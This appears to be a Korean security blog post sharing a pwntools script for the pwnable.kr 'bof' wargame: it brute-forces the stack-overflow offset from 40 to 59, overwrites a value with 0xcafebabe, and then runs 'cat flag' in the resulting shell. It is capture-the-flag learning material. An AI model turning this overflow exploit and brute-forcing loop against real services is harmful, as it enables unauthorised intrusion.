ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • pwnable.kr 3번 bof : pwntools로 자동으로 브포 때리면서 풀기
    정보보안/포너블 2018. 5. 17. 21:04

    pwnable.kr 3번 bof : pwntools로 자동으로 브포 때리면서 풀기

    몇 달 전이였나 블로그에 pwnable.kr 3번 문제에 대한 Write-Up을 올린 적 있다.

    구름 ide를 뒤지다 얼마 전 pwntools를 배우면서 짠 이 문제의 exploit을 발견해서 올려두려고 한다.

    나라는 늅늅이는 분석을 엄청 못하니까 gdb로 '음 오프셋을 뭘로 해야 할까?^^' 하면서 찾기가 어렵다.

    그럴 때는 브루트포싱이 답이다.

    excessive brute-forcing은 자제하라고 공지에 나와 있으니까 그냥 순수하게 40~59까지만 돌려보자(이미 답을 알고 있으니...)

    from pwn import *
    
    for i in range(40, 60):
        r = remote("pwnable.kr", 9000)
        payload = "\x90"*i + p32(0xcafebabe)
        r.sendline(payload)
        response = r.recv(4096, timeout=0.5)
        if ( response == '' ):
            print "found correct payload : ", payload
            r.sendline("cat flag")
            r.interactive()
            break
        else:
            r.close()
    

    짠~ 진짜루 브루트포스로 i값을 40~59 범위로 올리면서 하나씩 돌려본다.

    실행하면 저렇게 주르르륵 브포때리다가 쉘 따고 플래그 출력해준다.

    '정보보안 > 포너블' 카테고리의 다른 글

    GOT Overwrite 공부 1  (0) 2018.05.18
    RTL Chaining 공부 1  (0) 2018.05.18
    RTL 공부 1  (0) 2018.05.17
    pwnable.kr 4번 flag  (0) 2018.02.04
    해커스쿨 FTZ level6~9  (0) 2018.01.05

    댓글

Designed by Tistory